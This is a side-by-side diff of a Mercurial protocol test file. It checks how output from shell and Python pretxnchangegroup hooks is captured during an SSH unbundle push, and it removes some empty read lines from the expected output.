1464 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1486 | o> read(1) -> 1: |
|
1465 | o> read(1) -> 1: | |
1487 | o> \n |
|
1466 | o> \n | |
1488 | sending unbundle command |
|
1467 | sending unbundle command | |
1489 | i> write(9) -> 9: |
|
1468 | i> write(9) -> 9: | |
1490 | i> unbundle\n |
|
1469 | i> unbundle\n | |
1491 | i> write(9) -> 9: |
|
1470 | i> write(9) -> 9: | |
1492 | i> heads 10\n |
|
1471 | i> heads 10\n | |
1493 | i> write(10) -> 10: 666f726365 |
|
1472 | i> write(10) -> 10: 666f726365 | |
1494 | i> flush() -> None |
|
1473 | i> flush() -> None | |
1495 | o> readline() -> 2: |
|
1474 | o> readline() -> 2: | |
1496 | o> 0\n |
|
1475 | o> 0\n | |
1497 | i> write(4) -> 4: |
|
1476 | i> write(4) -> 4: | |
1498 | i> 426\n |
|
1477 | i> 426\n | |
1499 | i> write(426) -> 426: |
|
1478 | i> write(426) -> 426: | |
1500 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1479 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1501 | i> test\n |
|
1480 | i> test\n | |
1502 | i> 0 0\n |
|
1481 | i> 0 0\n | |
1503 | i> foo\n |
|
1482 | i> foo\n | |
1504 | i> \n |
|
1483 | i> \n | |
1505 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1484 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1506 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1485 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1507 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1486 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1508 | i> write(2) -> 2: |
|
1487 | i> write(2) -> 2: | |
1509 | i> 0\n |
|
1488 | i> 0\n | |
1510 | i> flush() -> None |
|
1489 | i> flush() -> None | |
1511 | o> readline() -> 2: |
|
1490 | o> readline() -> 2: | |
1512 | o> 0\n |
|
1491 | o> 0\n | |
1513 | o> readline() -> 2: |
|
1492 | o> readline() -> 2: | |
1514 | o> 1\n |
|
1493 | o> 1\n | |
1515 | o> read(1) -> 1: 0 |
|
1494 | o> read(1) -> 1: 0 | |
1516 | result: 0 |
|
1495 | result: 0 | |
1517 | remote output: |
|
1496 | remote output: | |
1518 | o> read(-1) -> 0: |
|
|||
1519 | e> read(-1) -> 212: |
|
1497 | e> read(-1) -> 212: | |
1520 | e> adding changesets\n |
|
1498 | e> adding changesets\n | |
1521 | e> adding manifests\n |
|
1499 | e> adding manifests\n | |
1522 | e> adding file changes\n |
|
1500 | e> adding file changes\n | |
1523 | e> added 1 changesets with 1 changes to 1 files\n |
|
1501 | e> added 1 changesets with 1 changes to 1 files\n | |
1524 | e> stderr 1\n |
|
1502 | e> stderr 1\n | |
1525 | e> stderr 2\n |
|
1503 | e> stderr 2\n | |
1526 | e> transaction abort!\n |
|
1504 | e> transaction abort!\n | |
1527 | e> rollback completed\n |
|
1505 | e> rollback completed\n | |
1528 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1506 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1529 |
|
1507 | |||
1530 | Shell hook writing to stdout and stderr has output captured |
|
1508 | Shell hook writing to stdout and stderr has output captured | |
1531 |
|
1509 | |||
1532 | $ cat > $TESTTMP/hook.sh << EOF |
|
1510 | $ cat > $TESTTMP/hook.sh << EOF | |
1533 | > echo 'stdout 1' |
|
1511 | > echo 'stdout 1' | |
1534 | > echo 'stderr 1' 1>&2 |
|
1512 | > echo 'stderr 1' 1>&2 | |
1535 | > echo 'stdout 2' |
|
1513 | > echo 'stdout 2' | |
1536 | > echo 'stderr 2' 1>&2 |
|
1514 | > echo 'stderr 2' 1>&2 | |
1537 | > exit 1 |
|
1515 | > exit 1 | |
1538 | > EOF |
|
1516 | > EOF | |
1539 |
|
1517 | |||
1540 | $ debugwireproto << EOF |
|
1518 | $ debugwireproto << EOF | |
1541 | > command unbundle |
|
1519 | > command unbundle | |
1542 | > # This is "force" in hex. |
|
1520 | > # This is "force" in hex. | |
1543 | > heads 666f726365 |
|
1521 | > heads 666f726365 | |
1544 | > PUSHFILE ../initial.v1.hg |
|
1522 | > PUSHFILE ../initial.v1.hg | |
1545 | > readavailable |
|
1523 | > readavailable | |
1546 | > EOF |
|
1524 | > EOF | |
1547 | testing ssh1 |
|
1525 | testing ssh1 | |
1548 | creating ssh peer from handshake results |
|
1526 | creating ssh peer from handshake results | |
1549 | i> write(104) -> 104: |
|
1527 | i> write(104) -> 104: | |
1550 | i> hello\n |
|
1528 | i> hello\n | |
1551 | i> between\n |
|
1529 | i> between\n | |
1552 | i> pairs 81\n |
|
1530 | i> pairs 81\n | |
1553 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1531 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1554 | i> flush() -> None |
|
1532 | i> flush() -> None | |
1555 | o> readline() -> 4: |
|
1533 | o> readline() -> 4: | |
1556 | o> 413\n |
|
1534 | o> 413\n | |
1557 | o> readline() -> 413: |
|
1535 | o> readline() -> 413: | |
1558 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1536 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1559 | o> readline() -> 2: |
|
1537 | o> readline() -> 2: | |
1560 | o> 1\n |
|
1538 | o> 1\n | |
1561 | o> readline() -> 1: |
|
1539 | o> readline() -> 1: | |
1562 | o> \n |
|
1540 | o> \n | |
1563 | sending unbundle command |
|
1541 | sending unbundle command | |
1564 | i> write(9) -> 9: |
|
1542 | i> write(9) -> 9: | |
1565 | i> unbundle\n |
|
1543 | i> unbundle\n | |
1566 | i> write(9) -> 9: |
|
1544 | i> write(9) -> 9: | |
1567 | i> heads 10\n |
|
1545 | i> heads 10\n | |
1568 | i> write(10) -> 10: 666f726365 |
|
1546 | i> write(10) -> 10: 666f726365 | |
1569 | i> flush() -> None |
|
1547 | i> flush() -> None | |
1570 | o> readline() -> 2: |
|
1548 | o> readline() -> 2: | |
1571 | o> 0\n |
|
1549 | o> 0\n | |
1572 | i> write(4) -> 4: |
|
1550 | i> write(4) -> 4: | |
1573 | i> 426\n |
|
1551 | i> 426\n | |
1574 | i> write(426) -> 426: |
|
1552 | i> write(426) -> 426: | |
1575 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1553 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1576 | i> test\n |
|
1554 | i> test\n | |
1577 | i> 0 0\n |
|
1555 | i> 0 0\n | |
1578 | i> foo\n |
|
1556 | i> foo\n | |
1579 | i> \n |
|
1557 | i> \n | |
1580 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1558 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1581 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1559 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1582 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1560 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1583 | i> write(2) -> 2: |
|
1561 | i> write(2) -> 2: | |
1584 | i> 0\n |
|
1562 | i> 0\n | |
1585 | i> flush() -> None |
|
1563 | i> flush() -> None | |
1586 | o> readline() -> 2: |
|
1564 | o> readline() -> 2: | |
1587 | o> 0\n |
|
1565 | o> 0\n | |
1588 | o> readline() -> 2: |
|
1566 | o> readline() -> 2: | |
1589 | o> 1\n |
|
1567 | o> 1\n | |
1590 | o> read(1) -> 1: 0 |
|
1568 | o> read(1) -> 1: 0 | |
1591 | result: 0 |
|
1569 | result: 0 | |
1592 | remote output: |
|
1570 | remote output: | |
1593 | o> read(-1) -> 0: |
|
|||
1594 | e> read(-1) -> 230: |
|
1571 | e> read(-1) -> 230: | |
1595 | e> adding changesets\n |
|
1572 | e> adding changesets\n | |
1596 | e> adding manifests\n |
|
1573 | e> adding manifests\n | |
1597 | e> adding file changes\n |
|
1574 | e> adding file changes\n | |
1598 | e> added 1 changesets with 1 changes to 1 files\n |
|
1575 | e> added 1 changesets with 1 changes to 1 files\n | |
1599 | e> stdout 1\n |
|
1576 | e> stdout 1\n | |
1600 | e> stderr 1\n |
|
1577 | e> stderr 1\n | |
1601 | e> stdout 2\n |
|
1578 | e> stdout 2\n | |
1602 | e> stderr 2\n |
|
1579 | e> stderr 2\n | |
1603 | e> transaction abort!\n |
|
1580 | e> transaction abort!\n | |
1604 | e> rollback completed\n |
|
1581 | e> rollback completed\n | |
1605 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1582 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1606 |
|
1583 | |||
1607 | testing ssh2 |
|
1584 | testing ssh2 | |
1608 | creating ssh peer from handshake results |
|
1585 | creating ssh peer from handshake results | |
1609 | i> write(171) -> 171: |
|
1586 | i> write(171) -> 171: | |
1610 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1587 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1611 | i> hello\n |
|
1588 | i> hello\n | |
1612 | i> between\n |
|
1589 | i> between\n | |
1613 | i> pairs 81\n |
|
1590 | i> pairs 81\n | |
1614 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1591 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1615 | i> flush() -> None |
|
1592 | i> flush() -> None | |
1616 | o> readline() -> 62: |
|
1593 | o> readline() -> 62: | |
1617 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1594 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1618 | o> readline() -> 4: |
|
1595 | o> readline() -> 4: | |
1619 | o> 412\n |
|
1596 | o> 412\n | |
1620 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1597 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1621 | o> read(1) -> 1: |
|
1598 | o> read(1) -> 1: | |
1622 | o> \n |
|
1599 | o> \n | |
1623 | sending unbundle command |
|
1600 | sending unbundle command | |
1624 | i> write(9) -> 9: |
|
1601 | i> write(9) -> 9: | |
1625 | i> unbundle\n |
|
1602 | i> unbundle\n | |
1626 | i> write(9) -> 9: |
|
1603 | i> write(9) -> 9: | |
1627 | i> heads 10\n |
|
1604 | i> heads 10\n | |
1628 | i> write(10) -> 10: 666f726365 |
|
1605 | i> write(10) -> 10: 666f726365 | |
1629 | i> flush() -> None |
|
1606 | i> flush() -> None | |
1630 | o> readline() -> 2: |
|
1607 | o> readline() -> 2: | |
1631 | o> 0\n |
|
1608 | o> 0\n | |
1632 | i> write(4) -> 4: |
|
1609 | i> write(4) -> 4: | |
1633 | i> 426\n |
|
1610 | i> 426\n | |
1634 | i> write(426) -> 426: |
|
1611 | i> write(426) -> 426: | |
1635 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1612 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1636 | i> test\n |
|
1613 | i> test\n | |
1637 | i> 0 0\n |
|
1614 | i> 0 0\n | |
1638 | i> foo\n |
|
1615 | i> foo\n | |
1639 | i> \n |
|
1616 | i> \n | |
1640 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1617 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1641 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1618 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1642 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1619 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1643 | i> write(2) -> 2: |
|
1620 | i> write(2) -> 2: | |
1644 | i> 0\n |
|
1621 | i> 0\n | |
1645 | i> flush() -> None |
|
1622 | i> flush() -> None | |
1646 | o> readline() -> 2: |
|
1623 | o> readline() -> 2: | |
1647 | o> 0\n |
|
1624 | o> 0\n | |
1648 | o> readline() -> 2: |
|
1625 | o> readline() -> 2: | |
1649 | o> 1\n |
|
1626 | o> 1\n | |
1650 | o> read(1) -> 1: 0 |
|
1627 | o> read(1) -> 1: 0 | |
1651 | result: 0 |
|
1628 | result: 0 | |
1652 | remote output: |
|
1629 | remote output: | |
1653 | o> read(-1) -> 0: |
|
|||
1654 | e> read(-1) -> 230: |
|
1630 | e> read(-1) -> 230: | |
1655 | e> adding changesets\n |
|
1631 | e> adding changesets\n | |
1656 | e> adding manifests\n |
|
1632 | e> adding manifests\n | |
1657 | e> adding file changes\n |
|
1633 | e> adding file changes\n | |
1658 | e> added 1 changesets with 1 changes to 1 files\n |
|
1634 | e> added 1 changesets with 1 changes to 1 files\n | |
1659 | e> stdout 1\n |
|
1635 | e> stdout 1\n | |
1660 | e> stderr 1\n |
|
1636 | e> stderr 1\n | |
1661 | e> stdout 2\n |
|
1637 | e> stdout 2\n | |
1662 | e> stderr 2\n |
|
1638 | e> stderr 2\n | |
1663 | e> transaction abort!\n |
|
1639 | e> transaction abort!\n | |
1664 | e> rollback completed\n |
|
1640 | e> rollback completed\n | |
1665 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1641 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1666 |
|
1642 | |||
1667 | Shell and Python hooks writing to stdout and stderr have output captured |
|
1643 | Shell and Python hooks writing to stdout and stderr have output captured | |
1668 |
|
1644 | |||
1669 | $ cat > $TESTTMP/hook.sh << EOF |
|
1645 | $ cat > $TESTTMP/hook.sh << EOF | |
1670 | > echo 'shell stdout 1' |
|
1646 | > echo 'shell stdout 1' | |
1671 | > echo 'shell stderr 1' 1>&2 |
|
1647 | > echo 'shell stderr 1' 1>&2 | |
1672 | > echo 'shell stdout 2' |
|
1648 | > echo 'shell stdout 2' | |
1673 | > echo 'shell stderr 2' 1>&2 |
|
1649 | > echo 'shell stderr 2' 1>&2 | |
1674 | > exit 0 |
|
1650 | > exit 0 | |
1675 | > EOF |
|
1651 | > EOF | |
1676 |
|
1652 | |||
1677 | $ cat > .hg/hgrc << EOF |
|
1653 | $ cat > .hg/hgrc << EOF | |
1678 | > [hooks] |
|
1654 | > [hooks] | |
1679 | > pretxnchangegroup.a = sh $TESTTMP/hook.sh |
|
1655 | > pretxnchangegroup.a = sh $TESTTMP/hook.sh | |
1680 | > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout |
|
1656 | > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout | |
1681 | > EOF |
|
1657 | > EOF | |
1682 |
|
1658 | |||
1683 | $ debugwireproto << EOF |
|
1659 | $ debugwireproto << EOF | |
1684 | > command unbundle |
|
1660 | > command unbundle | |
1685 | > # This is "force" in hex. |
|
1661 | > # This is "force" in hex. | |
1686 | > heads 666f726365 |
|
1662 | > heads 666f726365 | |
1687 | > PUSHFILE ../initial.v1.hg |
|
1663 | > PUSHFILE ../initial.v1.hg | |
1688 | > readavailable |
|
1664 | > readavailable | |
1689 | > EOF |
|
1665 | > EOF | |
1690 | testing ssh1 |
|
1666 | testing ssh1 | |
1691 | creating ssh peer from handshake results |
|
1667 | creating ssh peer from handshake results | |
1692 | i> write(104) -> 104: |
|
1668 | i> write(104) -> 104: | |
1693 | i> hello\n |
|
1669 | i> hello\n | |
1694 | i> between\n |
|
1670 | i> between\n | |
1695 | i> pairs 81\n |
|
1671 | i> pairs 81\n | |
1696 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1672 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1697 | i> flush() -> None |
|
1673 | i> flush() -> None | |
1698 | o> readline() -> 4: |
|
1674 | o> readline() -> 4: | |
1699 | o> 413\n |
|
1675 | o> 413\n | |
1700 | o> readline() -> 413: |
|
1676 | o> readline() -> 413: | |
1701 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1677 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1702 | o> readline() -> 2: |
|
1678 | o> readline() -> 2: | |
1703 | o> 1\n |
|
1679 | o> 1\n | |
1704 | o> readline() -> 1: |
|
1680 | o> readline() -> 1: | |
1705 | o> \n |
|
1681 | o> \n | |
1706 | sending unbundle command |
|
1682 | sending unbundle command | |
1707 | i> write(9) -> 9: |
|
1683 | i> write(9) -> 9: | |
1708 | i> unbundle\n |
|
1684 | i> unbundle\n | |
1709 | i> write(9) -> 9: |
|
1685 | i> write(9) -> 9: | |
1710 | i> heads 10\n |
|
1686 | i> heads 10\n | |
1711 | i> write(10) -> 10: 666f726365 |
|
1687 | i> write(10) -> 10: 666f726365 | |
1712 | i> flush() -> None |
|
1688 | i> flush() -> None | |
1713 | o> readline() -> 2: |
|
1689 | o> readline() -> 2: | |
1714 | o> 0\n |
|
1690 | o> 0\n | |
1715 | i> write(4) -> 4: |
|
1691 | i> write(4) -> 4: | |
1716 | i> 426\n |
|
1692 | i> 426\n | |
1717 | i> write(426) -> 426: |
|
1693 | i> write(426) -> 426: | |
1718 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1694 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1719 | i> test\n |
|
1695 | i> test\n | |
1720 | i> 0 0\n |
|
1696 | i> 0 0\n | |
1721 | i> foo\n |
|
1697 | i> foo\n | |
1722 | i> \n |
|
1698 | i> \n | |
